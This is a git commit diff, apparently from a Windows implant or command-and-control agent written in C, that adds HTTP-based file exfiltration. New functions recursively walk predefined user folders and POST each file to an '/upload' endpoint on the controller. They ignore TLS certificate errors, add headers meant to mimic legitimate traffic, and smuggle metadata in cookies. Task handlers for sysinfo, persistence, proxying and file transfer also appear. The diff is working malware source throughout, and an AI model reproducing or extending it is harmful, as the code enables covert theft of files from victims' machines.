File downloading works for http agent now

This commit is contained in:
Pavlo Khazov
2025-08-02 13:15:38 +02:00
parent 5827982fa0
commit 8b810e78d7
7 changed files with 421 additions and 23 deletions

View File

@@ -33,7 +33,7 @@
# Compiler and flags
CC = x86_64-w64-mingw32-gcc
LDFLAGS = -lws2_32 -liphlpapi -static
LDFLAGS = -lws2_32 -liphlpapi -static -lbcrypt -lcrypt32
INCLUDE_DIR =
SRC_DIR = .
OBJ_DIR = obj
@@ -154,4 +154,4 @@ info:
install:
@echo "Install target not implemented."
.PHONY: all clean run info install size-opt release
.PHONY: all clean run info install size-opt release

View File

@@ -76,10 +76,10 @@ void ReceiveResponse(Transport* transport) {
printf("Error receiving message from server\n");
return;
}
buffer1[bytesReceived] = '\0';
// buffer1[bytesReceived] = '\0';
printf("Message from server: %s\n", buffer1);
PrintHEX(buffer2, buffer2_size, 32);
// PrintHEX(buffer2, buffer2_size, 32);
// Check if there is a task to do
if (strncmp(buffer1, "TASK", 4) == 0) {

View File

@@ -232,9 +232,6 @@ void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_
ReceiveModule(result, transport, task_type, task_args, http_buffer);
SendTaskResult(transport, "", result);
}
else if (strcmp(task_type, "files") == 0) {
SendFiles(transport, NULL, 0);
}
else if (strcmp(task_type, "sysinfo") == 0) {
SendSysInfo(result);
SendTaskResult(transport, "SYSINFO", result);
@@ -289,13 +286,27 @@ void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_
SendTaskResult(transport, "", "Persistence module wasn't included\n");
#endif
}
// Upload files to server
else if (strcmp(task_type, "download") == 0) {
SendFiles(transport, &task_args, 1);
#if USE_HTTP
SendFilesHTTP(transport, &task_args, 1);
#else
SendFiles(transport, &task_args, 1);
#endif
}
// Download file from server
else if (strcmp(task_type, "upload") == 0) {
UploadFile(result, transport, task_args);
ReceiveFile(result, transport, task_args);
SendTaskResult(transport, "", result);
}
// Upload list of pre-defined files to server
else if (strcmp(task_type, "files") == 0) {
#if USE_HTTP
SendFilesHTTP(transport, NULL, 0);
#else
SendFiles(transport, NULL, 0);
#endif
}
else if (strcmp(task_type, "proxy") == 0) {
#if ENABLE_PROXY

View File

@@ -10,9 +10,9 @@
// Pre-defined list of files and folders to download
char* std_file_paths[] = {
"C:\\Users\\Tester\\Downloads\\file1.txt",
"C:\\Users\\Tester\\Downloads\\file2.txt",
"C:\\Users\\Tester\\Downloads\\Testdir",
"C:\\Users\\John\\Downloads\\Test",
"C:\\Users\\John\\Downloads\\Test2",
"C:\\Users\\John\\Downloads\\Test3",
};
// Calculate amount of paths
size_t std_num_files = sizeof(std_file_paths) / sizeof(std_file_paths[0]);
@@ -125,6 +125,94 @@ void SendFiles(Transport* transport, char* customfile_paths[], size_t customNumF
LOG("End-of-transfer marker sent\n");
}
void sendFileHTTP(Transport* transport, char* file_path) {
struct stat file_stat;
if (stat(file_path, &file_stat) != 0) {
LOG("File does not exist: %s\n", file_path);
return;
}
if (!S_ISREG(file_stat.st_mode)) {
LOG("Path is not a regular file: %s\n", file_path);
return;
}
// Create message with agent_id, FILE type, and full file path
char message[1024];
snprintf(message, sizeof(message), "%s~FILE~%s", agent_id, file_path);
LOG("Sending message %s\n", message);
LOG("Sending file: %s\n", file_path);
// Use the transport's send_file function
int result = transport->send_file(transport->handle, file_path, message);
if (result > 0) {
LOG("File sent successfully: %s (%d bytes)\n", file_path, result);
} else {
LOG_ERROR("Failed to send file: %s\n", file_path);
}
}
void sendFilesHTTPHelper(Transport* transport, char** paths, size_t num_paths) {
for (size_t i = 0; i < num_paths; ++i) {
char* file_path = paths[i];
struct stat file_stat;
if (stat(file_path, &file_stat) != 0) {
LOG("Path does not exist: %s\n", file_path);
continue;
}
if (S_ISDIR(file_stat.st_mode)) {
LOG("Processing directory: %s\n", file_path);
DIR* dir = opendir(file_path);
if (!dir) {
LOG_ERROR("Error opening directory: %s\n", file_path);
continue;
}
struct dirent* entry;
while ((entry = readdir(dir)) != NULL) {
// Skip current and parent directory entries
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
continue;
}
// Build full path
char full_path[1024];
snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
// Recursively process the entry (file or subdirectory)
char* sub_paths[] = { full_path };
sendFilesHTTPHelper(transport, sub_paths, 1);
}
closedir(dir);
}
else if (S_ISREG(file_stat.st_mode)) {
// It's a regular file, send it
sendFileHTTP(transport, file_path);
}
else {
LOG("Skipping non-regular file: %s\n", file_path);
}
}
}
void SendFilesHTTP(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
// Determine which paths to use
char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;
LOG("Starting HTTP file transfer session with %zu paths\n", count);
// Send all files/directories
sendFilesHTTPHelper(transport, paths, count);
LOG("HTTP file transfer session completed\n");
}
#if AUTO_FILES
DWORD WINAPI FilesTimer(LPVOID lpParam) {
LOG("File sender started\n");
@@ -152,7 +240,7 @@ void SendFiles(Transport* transport, char* customfile_paths[], size_t customNumF
#endif
// Receive file from server
void UploadFile(char* result, Transport* transport, char* remote_path) {
void ReceiveFile(char* result, Transport* transport, char* remote_path) {
char buffer[BUFFER_SIZE];
char response[32];

View File

@@ -8,7 +8,8 @@ typedef struct {
void* handle; // Opaque pointer to underlying connection (WOLFSSL* or SOCKET or Schannel context)
int (*send) (void* handle, char* data, size_t len);
int (*recv) (void* handle, char* buffer, size_t len);
int (*recv_alloc)(void* handle, char* buffer1, unsigned char** buffer2, size_t len1, size_t* len2); // New function pointer, only for http transport
int (*recv_alloc)(void* handle, char* buffer1, unsigned char** buffer2, size_t len1, size_t* len2); // Only for http transport. Dynamically allocates buffer for data
int (*send_file)(void* handle, char* filePath, char* message); // New func to send files. Will probably move all file sending logic into transport code
void (*cleanup) (void* handle);
} Transport;

View File

@@ -4,6 +4,7 @@
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <wincrypt.h>
// HTTP transport context
typedef struct {
@@ -16,7 +17,7 @@ typedef struct {
DWORD responseSize;
} HttpContext;
// User agent to identify implant against server
// User agent to identify against server
wchar_t *USER_AGENT = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
// Custom header to identify against server
@@ -111,6 +112,160 @@ char* CheckHeaderAndPrintCookie(wchar_t *headers, wchar_t *cookies) {
return command;
}
// URL encode function to handle special characters in file paths
char* urlEncode(const char* str) {
size_t len = strlen(str);
char* encoded = malloc(len * 3 + 1); // Worst case: every char becomes %XX
if (!encoded) return NULL;
size_t pos = 0;
for (size_t i = 0; i < len; i++) {
if (isalnum(str[i]) || str[i] == '-' || str[i] == '_' || str[i] == '.' || str[i] == '~') {
encoded[pos++] = str[i];
} else {
sprintf(&encoded[pos], "%%%02X", (unsigned char)str[i]);
pos += 3;
}
}
encoded[pos] = '\0';
return encoded;
}
// Usage example:
// Transport* transport = InitHTTPTransport("192.168.1.4", 443);
// transport->send_file(transport->handle, "test.exe", "file_upload_command");
// Add this function to your transport implementation
// Modified http_send_file function with URL encoding
int http_send_file(void* handle, char* filePath, char* message) {
HttpContext* ctx = (HttpContext*)handle;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD fileSize = 0, dwRead = 0;
BYTE buffer[4096];
BOOL bResults = FALSE;
// Convert file path to wide string
int wideLen = MultiByteToWideChar(CP_UTF8, 0, filePath, -1, NULL, 0);
wchar_t* wideFilePath = malloc(wideLen * sizeof(wchar_t));
if (!wideFilePath) return -1;
MultiByteToWideChar(CP_UTF8, 0, filePath, -1, wideFilePath, wideLen);
// URL encode the message to handle special characters
char* encodedMessage = urlEncode(message);
if (!encodedMessage) {
free(wideFilePath);
return -1;
}
// Convert encoded message to wide string for cookie
int msgWideLen = MultiByteToWideChar(CP_UTF8, 0, encodedMessage, -1, NULL, 0);
wchar_t* wideMessage = malloc(msgWideLen * sizeof(wchar_t));
if (!wideMessage) {
free(wideFilePath);
free(encodedMessage);
return -1;
}
MultiByteToWideChar(CP_UTF8, 0, encodedMessage, -1, wideMessage, msgWideLen);
// Open file
hFile = CreateFileW(wideFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("CreateFile failed for: %s\n", filePath);
free(wideFilePath);
free(encodedMessage);
free(wideMessage);
return -1;
}
fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
printf("GetFileSize failed\n");
CloseHandle(hFile);
free(wideFilePath);
free(encodedMessage);
free(wideMessage);
return -1;
}
// Create POST request for file upload
ctx->hRequest = WinHttpOpenRequest(ctx->hConnect, L"POST", L"/upload",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
if (!ctx->hRequest) {
printf("WinHttpOpenRequest failed\n");
CloseHandle(hFile);
free(wideFilePath);
free(encodedMessage);
free(wideMessage);
return -1;
}
// Ignore certificate errors
DWORD securityFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
// Add identity and common headers to mimic legitimate traffic
WinHttpAddRequestHeaders(ctx->hRequest, IDENTITY_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
for (int i = 0; i < NUM_COMMON_HEADERS; ++i) {
WinHttpAddRequestHeaders(ctx->hRequest, COMMON_HEADERS[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
}
// Add content type for file upload
wchar_t *contentType = L"Content-Type: application/octet-stream\r\n";
WinHttpAddRequestHeaders(ctx->hRequest, contentType, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
// Add body message header to indicate file upload with message
WinHttpAddRequestHeaders(ctx->hRequest, BODY_MESSAGE_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
// Embed encoded message in cookie (using %S for wide chars)
wchar_t cookieHeader[1024];
swprintf(cookieHeader, 1024, L"Cookie: %S=%S", MESSAGE_COOKIE_NAME, wideMessage);
WinHttpAddRequestHeaders(ctx->hRequest, cookieHeader, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
// Send request with file size
bResults = WinHttpSendRequest(ctx->hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
NULL, 0, fileSize, 0);
if (!bResults) {
printf("WinHttpSendRequest failed\n");
goto cleanup;
}
// Upload file data in chunks
do {
if (!ReadFile(hFile, buffer, sizeof(buffer), &dwRead, NULL)) {
printf("ReadFile failed\n");
bResults = FALSE;
break;
}
if (dwRead > 0) {
if (!WinHttpWriteData(ctx->hRequest, buffer, dwRead, NULL)) {
printf("WinHttpWriteData failed\n");
bResults = FALSE;
break;
}
}
} while (dwRead > 0);
if (bResults) {
printf("[+] File upload completed: %s\n", filePath);
}
cleanup:
if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);
free(wideFilePath);
free(encodedMessage);
free(wideMessage);
return bResults ? (int)fileSize : -1;
}
int http_send(void* handle, char* data, size_t len) {
HttpContext* ctx = (HttpContext*)handle;
BOOL bResults = FALSE;
@@ -283,9 +438,11 @@ int http_recv_alloc(void* handle, char* buffer1, unsigned char** buffer2, size_t
size_t commandLen = strlen(command);
if (commandLen <= len1) {
memcpy(buffer1, command, commandLen);
printf("Copying command into buffer\n");
// return commandLen;
} else {
// Buffer too small, copy what we can
printf("Buufer too small, copying what we can\n");
memcpy(buffer1, command, len1);
// return len;
}
@@ -331,6 +488,7 @@ void http_cleanup(void* handle) {
free(ctx);
}
// Modified InitHTTPTransport function to include the send_file function pointer
Transport* InitHTTPTransport(char* domain, unsigned short port) {
HttpContext* ctx = malloc(sizeof(HttpContext));
if (!ctx) return NULL;
@@ -378,6 +536,7 @@ Transport* InitHTTPTransport(char* domain, unsigned short port) {
transport->send = http_send;
transport->recv = NULL;
transport->recv_alloc = http_recv_alloc;
transport->send_file = http_send_file; // Add this line
transport->cleanup = http_cleanup;
return transport;